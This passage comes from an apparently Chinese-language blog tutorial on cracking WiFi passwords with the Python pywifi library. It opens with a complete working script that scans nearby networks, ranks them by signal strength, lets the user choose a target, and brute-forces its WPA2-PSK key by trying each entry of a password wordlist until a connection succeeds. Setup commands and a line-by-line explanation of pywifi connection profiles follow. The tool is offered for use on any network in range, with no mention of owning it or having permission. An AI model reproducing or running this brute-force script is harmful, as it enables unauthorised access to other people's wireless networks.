wifi名称</span></span><br><span class="line">            <span class="comment"># print(&quot;Singnal level: %s&quot; % bss.signal)  # 信号强度,信号强度是负数，越接近0网络强度越好</span></span><br><span class="line">            <span class="comment"># print(&quot;BSSID: %s&quot; % bss.bssid)  # MAC地址</span></span><br><span class="line">            <span class="comment"># # print(&quot;Encryption: %s&quot; % bss.encryption)</span></span><br><span class="line">            <span class="comment"># print(&quot;Frequency: %s&quot; % bss.freq)  # 频率 2472000为2.4G网络，5745000为5G网络</span></span><br><span class="line">            <span class="comment"># print(&quot;=&quot; * 20)</span></span><br><span class="line">            <span class="comment">#</span></span><br><span class="line">            wifi_list_parameter[<span class="string">&#x27;SSID&#x27;</span>].append(bss.ssid)</span><br><span class="line">            wifi_list_parameter[<span class="string">&#x27;Singnal level&#x27;</span>].append(bss.signal)</span><br><span class="line">            wifi_list_parameter[<span class="string">&#x27;BSSID&#x27;</span>].append(bss.bssid)</span><br><span class="line">            wifi_list_parameter[<span class="string">&#x27;Frequency&#x27;</span>].append(bss.freq)</span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;*&quot;</span> * <span class="number">20</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;共扫描到%d个wifi&quot;</span> % (num-<span class="number">1</span>)) <span class="comment">#不知道为啥pywifi会多扫描一个，所以-1</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;*&quot;</span> * <span class="number">20</span> + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment">#print(wifi_list_parameter)</span></span><br><span class="line">        <span class="keyword">return</span> wifi_list_parameter</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">Choice</span>(<span class="params">self</span>):<span class="comment">#选择是否进行wifi密码破解</span></span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;请保证网络开关已打开&quot;</span>+ <span class="string">&quot;\n&quot;</span>)</span><br><span class="line">        <span class="comment">#time.sleep(3)</span></span><br><span class="line">        <span class="keyword">if</span> <span class="variable language_">self</span>.wifi_status == const.IFACE_DISCONNECTED:  <span class="comment"># 判断无线网卡是否连接</span></span><br><span class="line"></span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;网络未连接&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;网络已连接&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:<span class="comment">#循环选择是否进行wifi密码破解</span></span><br><span class="line">            choose_2 = <span class="built_in">input</span>(<span class="string">&quot;是否进行wifi密码破解程序？(y/n):&quot;</span>)</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> choose_2 == <span class="string">&quot;y&quot;</span> <span class="keyword">or</span> choose_2 == <span class="string">&quot;yes&quot;</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;执行破解程序......&quot;</span>)</span><br><span class="line">                choice = <span class="literal">True</span></span><br><span class="line">                <span class="keyword">return</span> choice</span><br><span class="line">            <span class="keyword">elif</span> choose_2 == <span class="string">&quot;n&quot;</span> <span class="keyword">or</span> choose_2 == <span class="string">&quot;no&quot;</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;正在退出程序&quot;</span>)</span><br><span class="line">                choice = <span class="literal">False</span></span><br><span class="line">                <span class="keyword">return</span> choice</span><br><span class="line"></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;输入错误，请重新输入&quot;</span>)</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">read_wifi_data</span>(<span class="params">self,item_dict</span>):<span class="comment">#读取wifi数据，传入的item_dict为字典类型，包含wifi信息</span></span><br><span class="line">        <span class="comment">#&#123;&#x27;SSID&#x27;: &#123;&#x27;MERCURY_9CEE&#x27;, &#x27;szpjwfhm_5G&#x27;, &#x27;szpjwfhm&#x27;, &#x27;CMCC-5Z94&#x27;&#125;, &#x27;Singnal level&#x27;: &#123;-71, -70, -59, -83&#125;, &#x27;BSSID&#x27;: &#123;&#x27;cc:2d:21:e5:cc:b1:&#x27;, &#x27;cc:2d:21:e5:cc:b5:&#x27;, &#x27;6c:59:40:7e:9c:ee:&#x27;, &#x27;ec:6c:b5:ea:3f:28:&#x27;&#125;, &#x27;Frequency&#x27;: &#123;2417000, 2472000, 5745000, 2447000&#125;&#125;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span> + <span class="string">&quot;正在处理数据...&quot;</span>)</span><br><span class="line">        <span class="comment">#将信号强度列表进行排序</span></span><br><span class="line">        wifi_list = <span class="variable language_">self</span>.indexed_quicksort(item_dict[<span class="string">&#x27;Singnal level&#x27;</span>])</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;排序完成&quot;</span> + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span> * <span class="number">20</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment">#读取wifi数据</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;正在读取wifi数据...&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span> * <span class="number">20</span> + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line"></span><br><span class="line">        num = <span class="number">0</span></span><br><span class="line">        wifi_signal_list = []</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(wifi_list)):</span><br><span class="line">            num += <span class="number">1</span></span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;正在读取第%d个wifi数据...&quot;</span> % (num))</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;WiFi编号：%d&quot;</span> % (num))</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;名称：%s&quot;</span> % item_dict[<span class="string">&#x27;SSID&#x27;</span>][wifi_list[i]])</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;MAC地址：%s&quot;</span> % item_dict[<span class="string">&#x27;BSSID&#x27;</span>][wifi_list[i]])</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;频率：%s&quot;</span> % item_dict[<span class="string">&#x27;Frequency&#x27;</span>][wifi_list[i]])</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;信号强度：%s&quot;</span> % item_dict[<span class="string">&#x27;Singnal level&#x27;</span>][wifi_list[i]])</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span> * <span class="number">20</span>)</span><br><span class="line"></span><br><span class="line">            wifi_signal_list.append(item_dict[<span class="string">&#x27;SSID&#x27;</span>][wifi_list[i]])</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;读取完成&quot;</span>)</span><br><span class="line">        <span class="comment">#print(wifi_signal_list)</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;*&quot;</span> * <span class="number">20</span>)</span><br><span class="line">        <span class="keyword">return</span> i,wifi_signal_list</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">wifi_attack_choose</span>(<span class="params">self,count,singnal_list</span>):<span class="comment">#选择需要破解的wifi</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">            <span class="comment"># 选择需要破解的wifi</span></span><br><span class="line">            choose_wifi = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&quot;请输入需要破解的wifi的编号：&quot;</span>)) - <span class="number">1</span></span><br><span class="line">            <span class="keyword">if</span> choose_wifi &lt; <span class="number">0</span> <span class="keyword">or</span> choose_wifi &gt; count:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;输入错误，请重新输入&quot;</span>)</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        wifi_name_attack = singnal_list[choose_wifi]</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;正在破解wifi：%s&quot;</span> % wifi_name_attack)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> wifi_name_attack</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">wifi_crack</span>(<span class="params">self,wifi_name_attack</span>):<span class="comment">#破解wifi密码</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;正在破解wifi密码...&quot;</span>)</span><br><span class="line">        <span class="comment"># 读取字典文件</span></span><br><span class="line">        <span class="comment"># 字典文件格式：text</span></span><br><span class="line"></span><br><span class="line">        path = <span class="string">&quot;wifi_password.txt&quot;</span></span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(path, <span class="string">&quot;r&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            data = f.read()</span><br><span class="line">            data = data.split(<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">            <span class="keyword">for</span> try_password <span class="keyword">in</span> data:</span><br><span class="line"></span><br><span class="line">                <span class="comment">#print(line)</span></span><br><span class="line"></span><br><span class="line">                profile = Profile()</span><br><span class="line">                profile.ssid = wifi_name_attack  <span class="comment"># wifi名称</span></span><br><span class="line"></span><br><span class="line">                <span class="comment"># 网卡开放状态</span></span><br><span class="line">                <span class="comment"># &quot;Auth - AP&quot; 验证算法</span></span><br><span class="line">                profile.auth = const.AUTH_ALG_OPEN</span><br><span class="line"></span><br><span class="line">                <span class="comment"># WiFi的加密算法为&quot;WPA&quot;</span></span><br><span class="line">                <span class="comment"># 选择WiFi加密算法</span></span><br><span class="line">                <span class="comment"># &quot;Akm - AP&quot; 的密钥管理</span></span><br><span class="line">                profile.akm.append(const.AKM_TYPE_WPA2PSK)</span><br><span class="line"></span><br><span class="line">                <span class="comment"># 加密单元</span></span><br><span class="line">                <span class="comment"># &quot;Cipher - AP&quot; 密码类型</span></span><br><span class="line">                profile.cipher = const.CIPHER_TYPE_CCMP  <span class="comment"># 加密单元</span></span><br><span class="line"></span><br><span class="line">                <span class="comment"># 设置密码</span></span><br><span class="line">                profile.key = try_password  <span class="comment"># wifi密码</span></span><br><span class="line"></span><br><span class="line">                <span class="variable language_">self</span>.iface.remove_all_network_profiles()  <span class="comment"># 删除所有wifi配置文件</span></span><br><span class="line"></span><br><span class="line">                <span class="variable language_">self</span>.iface.add_network_profile(profile)  <span class="comment"># 添加wifi配置文件</span></span><br><span class="line"></span><br><span class="line">                <span class="variable language_">self</span>.iface.connect(profile)  <span class="comment"># 连接wifi</span></span><br><span class="line">                time.sleep(<span class="number">1</span>) <span class="comment">#等待连接,这个可以防止连接过快导致无法连接</span></span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> <span class="variable language_">self</span>.iface.status() == const.IFACE_CONNECTED:</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">&quot;密码: %s 校验成功&quot;</span> % try_password)</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">&quot;密码: %s 校验失败&quot;</span> % try_password)</span><br><span class="line">                    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">indexed_quicksort</span>(<span class="params">self, array</span>):</span><br><span class="line">        <span class="comment"># 创建一个包含 (值, 原始索引) 的列表</span></span><br><span class="line">        arr_with_index = [(value, index) <span class="keyword">for</span> index, value <span class="keyword">in</span> <span class="built_in">enumerate</span>(array)]</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 快速排序函数，对 arr_with_index 进行排序</span></span><br><span class="line">        <span class="keyword">def</span> <span class="title function_">quicksort</span>(<span class="params">arr</span>):</span><br><span class="line">            <span class="keyword">if</span> <span class="built_in">len</span>(arr) &lt;= <span class="number">1</span>:</span><br><span class="line">                <span class="keyword">return</span> arr</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="comment"># 随机选择基准元素</span></span><br><span class="line">                pivot_index = random.randint(<span class="number">0</span>, <span class="built_in">len</span>(arr) - <span class="number">1</span>)</span><br><span class="line">                pivot = arr[pivot_index][<span class="number">0</span>]</span><br><span class="line">                left = []  <span class="comment"># 小于基准的元素</span></span><br><span class="line">                right = []  <span class="comment"># 大于基准的元素</span></span><br><span class="line">                middle = []  <span class="comment"># 等于基准的元素</span></span><br><span class="line"></span><br><span class="line">                <span class="keyword">for</span> value, original_index <span class="keyword">in</span> arr:</span><br><span class="line">                    <span class="keyword">if</span> value &lt; pivot:</span><br><span class="line">                        left.append((value, original_index))</span><br><span class="line">                    <span class="keyword">elif</span> value &gt; pivot:</span><br><span class="line">                        right.append((value, original_index))</span><br><span class="line">                    <span class="keyword">else</span>:</span><br><span class="line">                        middle.append((value, original_index))</span><br><span class="line"></span><br><span class="line">                <span class="keyword">return</span> quicksort(right) + middle + quicksort(left)  <span class="comment"># 将较大的元素放在前面</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># 执行快速排序</span></span><br><span class="line">        sorted_arr_with_index = quicksort(arr_with_index)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 提取排序后的值和原始索引</span></span><br><span class="line">        <span class="comment">#sorted_values = [value for value, _ in sorted_arr_with_index]  # 获取排序后的值</span></span><br><span class="line">        sorted_original_indices = [index <span class="keyword">for</span> _, index <span class="keyword">in</span> sorted_arr_with_index]  <span class="comment"># 获取排序后的值的原始索引，用来匹配WiFi的信息</span></span><br><span class="line">        <span class="comment">#print(sorted_original_indices)</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> sorted_original_indices</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    wifi_attack = wifi_attack_main()</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<h2 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h2><h3 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h3><p>首先，你需要安装pywifi库，同时下载pywifi的依赖库，命令如下：</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install pywifi</span><br></pre></td></tr></table></figure></div>

<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install comtypes</span><br></pre></td></tr></table></figure></div>

<p>没有<code>comtypes</code>库<code>pywifi</code>库是不能运行的，这个要注意。</p>
<hr>
<h3 id="代码解析-思路分析"><a href="#代码解析-思路分析" class="headerlink" title="代码解析:思路分析"></a>代码解析:思路分析</h3><p>功能：</p>
<ol>
<li><p>判断自身是否连接到wifi</p>
</li>
<li><p>选择是否进行wifi密码破解</p>
</li>
<li><p>进行破解</p>
</li>
</ol>
<hr>
<h3 id="代码解析-pywifi库的基本使用"><a href="#代码解析-pywifi库的基本使用" class="headerlink" title="代码解析:pywifi库的基本使用"></a>代码解析:pywifi库的基本使用</h3><hr>
<p>先列出基本的用法代码</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pywifi</span><br><span class="line"><span class="keyword">from</span> pywifi <span class="keyword">import</span> const</span><br><span class="line"></span><br><span class="line"><span class="comment">#  1. 基础</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#  获取网卡接口</span></span><br><span class="line">wifi = pywifi.PyWiFi()</span><br><span class="line"></span><br><span class="line"><span class="comment">#  得到第一个无线网卡</span></span><br><span class="line">ifaces = wifi.interfaces()[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#  切断网卡连接</span></span><br><span class="line"><span class="comment">#ifaces.disconnect()</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#  获取wifi的连接状态</span></span><br><span class="line">wifistatus = ifaces.status()</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(wifistatus)</span><br><span class="line"></span><br><span class="line"><span class="comment">#  检查wifi是否处于切断状态</span></span><br><span class="line"><span class="keyword">if</span> wifistatus == const.IFACE_DISCONNECTED:</span><br><span class="line"></span><br><span class="line">    <span class="comment">#  网卡已被切断</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#  如果网卡没有被切断</span></span><br><span class="line"><span class="comment">#  或者使用 &quot; if wifistatus == const.IFACE_CONNECTED: &quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"></span><br><span class="line">    <span class="comment">#  已连接wifi</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#  如果已经切断网卡，一般执行下述操作</span></span><br><span class="line"><span class="keyword">if</span> wifistatus == const.IFACE_DISCONNECTED:</span><br><span class="line"></span><br><span class="line">    <span class="comment">#  设置wifi连接文件</span></span><br><span class="line">    profile = pywifi.Profile()</span><br><span class="line"></span><br><span class="line">    <span class="comment">#  你要连接的网络的名称</span></span><br><span class="line">    profile.ssid = <span class="string">&quot;    &quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">#  网卡的开放状态</span></span><br><span class="line">    <span class="comment">#  &quot; Auth - AP &quot;的验证算法</span></span><br><span class="line">    profile.auth = const.AUTH_ALG_OPEN</span><br><span class="line"></span><br><span class="line">    <span class="comment">#  wifi的加密算法</span></span><br><span class="line">    <span class="comment">#  通常的加密算法值为 &quot; WPA &quot;</span></span><br><span class="line">    <span class="comment">#  选择wifi的加密方式</span></span><br><span class="line">    <span class="comment">#  &quot; Akm - AP &quot;的密钥管理</span></span><br><span class="line">    profile.akm.append(const.AKM_TYPE_WPA2PSK)</span><br><span class="line"></span><br><span class="line">    <span class="comment">#  加密单元</span></span><br><span class="line">    <span class="comment">#  &quot; Cipher - AP &quot;的密码类型</span></span><br><span class="line">    profile.cipher = const.CIPHER_TYPE_CCMP</span><br><span class="line"></span><br><span class="line">    <span class="comment">#  设置密码</span></span><br><span class="line">    password = <span class="string">&quot;   &quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">#  回调密码（wifi密码）</span></span><br><span class="line">    <span class="comment">#  如果没有密码，则设置值为 &quot; CIPHER_TYPE_NONE &quot;</span></span><br><span class="line">    profile.key = password</span><br><span class="line"></span><br><span class="line">    <span class="comment">#  删除已连接的所有wifi文件</span></span><br><span class="line">    ifaces.remove_all_network_profiles()</span><br><span class="line"></span><br><span class="line">    <span class="comment">#  加载新的wifi连接文件</span></span><br><span class="line">    tep_profile = ifaces.add_network_profile(profile)</span><br><span class="line"></span><br><span class="line">    <span class="comment">#  连接上面的wifi文件</span></span><br><span class="line">    ifaces.connect(tep_profile)</span><br><span class="line"></span><br><span class="line">    <span class="comment">#  如果wifi已连接</span></span><br><span class="line">    <span class="keyword">if</span> ifaces.status() == const.IFACE_CONNECTED:</span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment">#  如果仍未连接</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(<span class="literal">False</span>)</span><br></pre></td></tr></table></figure></div>

<hr>
<h4 id="pywifi代码基础讲解"><a href="#pywifi代码基础讲解" class="headerlink" title="pywifi代码基础讲解"></a>pywifi代码基础讲解</h4><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pywifi</span><br><span class="line"><span class="keyword">from</span> pywifi <span class="keyword">import</span> const, Profile</span><br></pre></td></tr></table></figure></div>

<p>首先，导入<code>pywifi</code>库和<code>const</code>和<code>Profile</code>模块。</p>
<p><code>const</code>模块提供了一些常量，用于表示一些常用的状态和参数。</p>
<p><code>Profile</code>模块用于创建wifi配置文件。</p>
<p><code>const</code>这个是必须要导入的，因为<code>pywifi</code>库的很多功能都是基于<code>const</code>这个模块的，没有这个<code>const</code>模块，<code>pywifi</code>库是不能运行的。</p>
<p><code>Profile</code>这个模块可以创建wifi配置文件，用于连接wifi,这个可有可无，可以根据自己的需求选择是否导入。</p>
<hr>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wifi = pywifi.PyWiFi()</span><br></pre></td></tr></table></figure></div>

<p>创建<code>wifi</code>对象，这个对象是用来管理wifi的。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">iface = wifi.interfaces()[<span class="number">0</span>]</span><br></pre></td></tr></table></figure></div>

<p>获取第一个无线网卡，这个网卡是用来连接wifi的。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wifi_status = iface.status()</span><br></pre></td></tr></table></figure></div>

<p><code>iface.status()</code>方法可以获取无线网卡的状态(获取数字：0-未连接，1-正在扫描，2-未激活，3-正在连接，4-已连接)，这个状态有四种状态:</p>
<ul>
<li><code>const.IFACE_DISCONNECTED</code> 未连接 </li>
<li><code>const.IFACE_SCANNING</code> 正在扫描</li>
<li><code>const.IFACE_CONNECTING</code> 正在连接</li>
<li><code>const.IFACE_CONNECTED</code> 已连接</li>
</ul>
<p>在<code>pywifi</code>库中，这几个状态有不同的数字表示，大家可以按<code>ctrl</code>然后<strong>点击鼠标左键</strong>，可以查看到具体的数字表示，在这里我直接列出来了。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">IFACE_DISCONNECTED = <span class="number">0</span> <span class="comment">#未连接</span></span><br><span class="line">IFACE_SCANNING = <span class="number">1</span> <span class="comment">#正在扫描</span></span><br><span class="line">IFACE_INACTIVE = <span class="number">2</span> <span class="comment">#未激活</span></span><br><span class="line">IFACE_CONNECTING = <span class="number">3</span> <span class="comment">#正在连接</span></span><br><span class="line">IFACE_CONNECTED = <span class="number">4</span> <span class="comment">#已连接</span></span><br></pre></td></tr></table></figure></div>

<blockquote>
<p>所以，我们可以先根据这行代码判断我们的联网状态，不过有一点是，如果没有打开网络开关怎么办？<br>好问题，python里面好像没有能够打开网络开关的方法，这个问题我们留到后面讲，单纯写一个<strong>网络未打开的提示</strong>就好了。</p>
</blockquote>
<p>我们如果要破解WiFi密码，我们需要先扫描到目标WiFi，所以我们需要先获取到目标WiFi的相关信息，所以我们需要先扫描到目标WiFi。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">iface.scan()  <span class="comment"># 扫描附近的wifi</span></span><br><span class="line"></span><br><span class="line">iface.scan_results()  <span class="comment"># 获取扫描结果</span></span><br></pre></td></tr></table></figure></div>

<p><code>iface.scan()</code>方法可以扫描附近的wifi，<code>iface.scan_results()</code>方法可以获取扫描结果。</p>
<p><code>iface.scan()</code>是不返回任何的输出结果的，想要知道结果必须要用<code>iface.scan_results()</code>方法。</p>
<p>当然，<code>iface.scan_results()</code>方法返回的是一个列表，要是单纯的打印的话，会发现这东西根本就看不懂。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[&lt;pywifi.profile.Profile <span class="built_in">object</span> at <span class="number">0x000001DA521032C0</span>&gt;, &lt;pywifi.profile.Profile <span class="built_in">object</span> at <span class="number">0x000001DA52103350</span>&gt;, &lt;pywifi.profile.Profile <span class="built_in">object</span> at <span class="number">0x000001DA52103380</span>&gt;, &lt;pywifi.profile.Profile <span class="built_in">object</span> at <span class="number">0x000001DA521033B0</span>&gt;, &lt;pywifi.profile.Profile <span class="built_in">object</span> at <span class="number">0x000001DA521033E0</span>&gt;]</span><br></pre></td></tr></table></figure></div>

<p><strong>这我TM的怎么看？</strong></p>
<p>后面，我们会解决这个问题，先暂时不管这个问题。</p>
<blockquote>
<p><strong>但是，我们需要注意的一点是，<code>iface.scan_results()</code>包含了很多wifi的相关信息,包括wifi的名称，信号强度，MAC地址，频率等等。</strong></p>
</blockquote>
<hr>
<p><strong>剩下的代码就是我们的最为核心的部分，WiFi的连接.</strong></p>
<p>wifi的连接，我们需要先创建一个wifi配置文件。</p>
<p>这个配置文件的属性有：WiFi名称，WiFi密码，加密算法，加密单元。</p>
<p>所以一开始我们要创建一个WiFi配置文件。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">profile = Profile() <span class="comment">#需要 from pywifi import Profile</span></span><br><span class="line"></span><br><span class="line">profile = pywifi.Profile() <span class="comment">#不需要 from pywifi import Profile</span></span><br></pre></td></tr></table></figure></div>

<p>创建<code>profile</code>对象，这个对象是用来创建wifi配置文件的。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">profile.ssid = <span class="string">&quot;WiFi名称&quot;</span> <span class="comment">#WiFi名称</span></span><br><span class="line">profile.key = <span class="string">&quot;WiFi密码&quot;</span> <span class="comment">#WiFi密码</span></span><br><span class="line">profile.auth = const.AUTH_ALG_OPEN <span class="comment">#认证算法</span></span><br><span class="line">profile.akm.append(const.AKM_TYPE_WPA2PSK) <span class="comment">#加密单元</span></span><br><span class="line">profile.cipher = const.CIPHER_TYPE_CCMP <span class="comment">#加密单元</span></span><br></pre></td></tr></table></figure></div>

<ul>
<li><p><code>profile.ssid</code>是wifi的名称</p>
</li>
<li><p><code>profile.key</code>是wifi的密码</p>
</li>
<li><p><code>profile.auth</code>是认证算法，这个是必须要设置的，常用的加密算法有：<code>const.AUTH_ALG_OPEN</code>（开放），<code>const.AUTH_ALG_SHARED</code>（共享）。</p>
</li>
<li><p><code>profile.akm.append(const.AKM_TYPE_WPA2PSK)</code>是加密单元，这个是必须要设置的，常用的加密单元有：<code>AKM_TYPE_NONE</code>（无加密），<code>AKM_TYPE_WPA</code>（WPA），<code>AKM_TYPE_WPAPSK</code>（WPA-PSK），<code>AKM_TYPE_WPA2</code>（WPA2），<code>AKM_TYPE_WPA2PSK</code>（WPA2-PSK）。</p>
</li>
<li><p><code>profile.cipher</code>是加密单元，这个是必须要设置的，常用的加密单元有：<code>const.CIPHER_TYPE_NONE</code>（无加密），<code>const.CIPHER_TYPE_WEP</code>（WEP），<code>const.CIPHER_TYPE_TKIP</code>（TKIP），<code>const.CIPHER_TYPE_CCMP</code>（CCMP）。</p>
</li>
</ul>
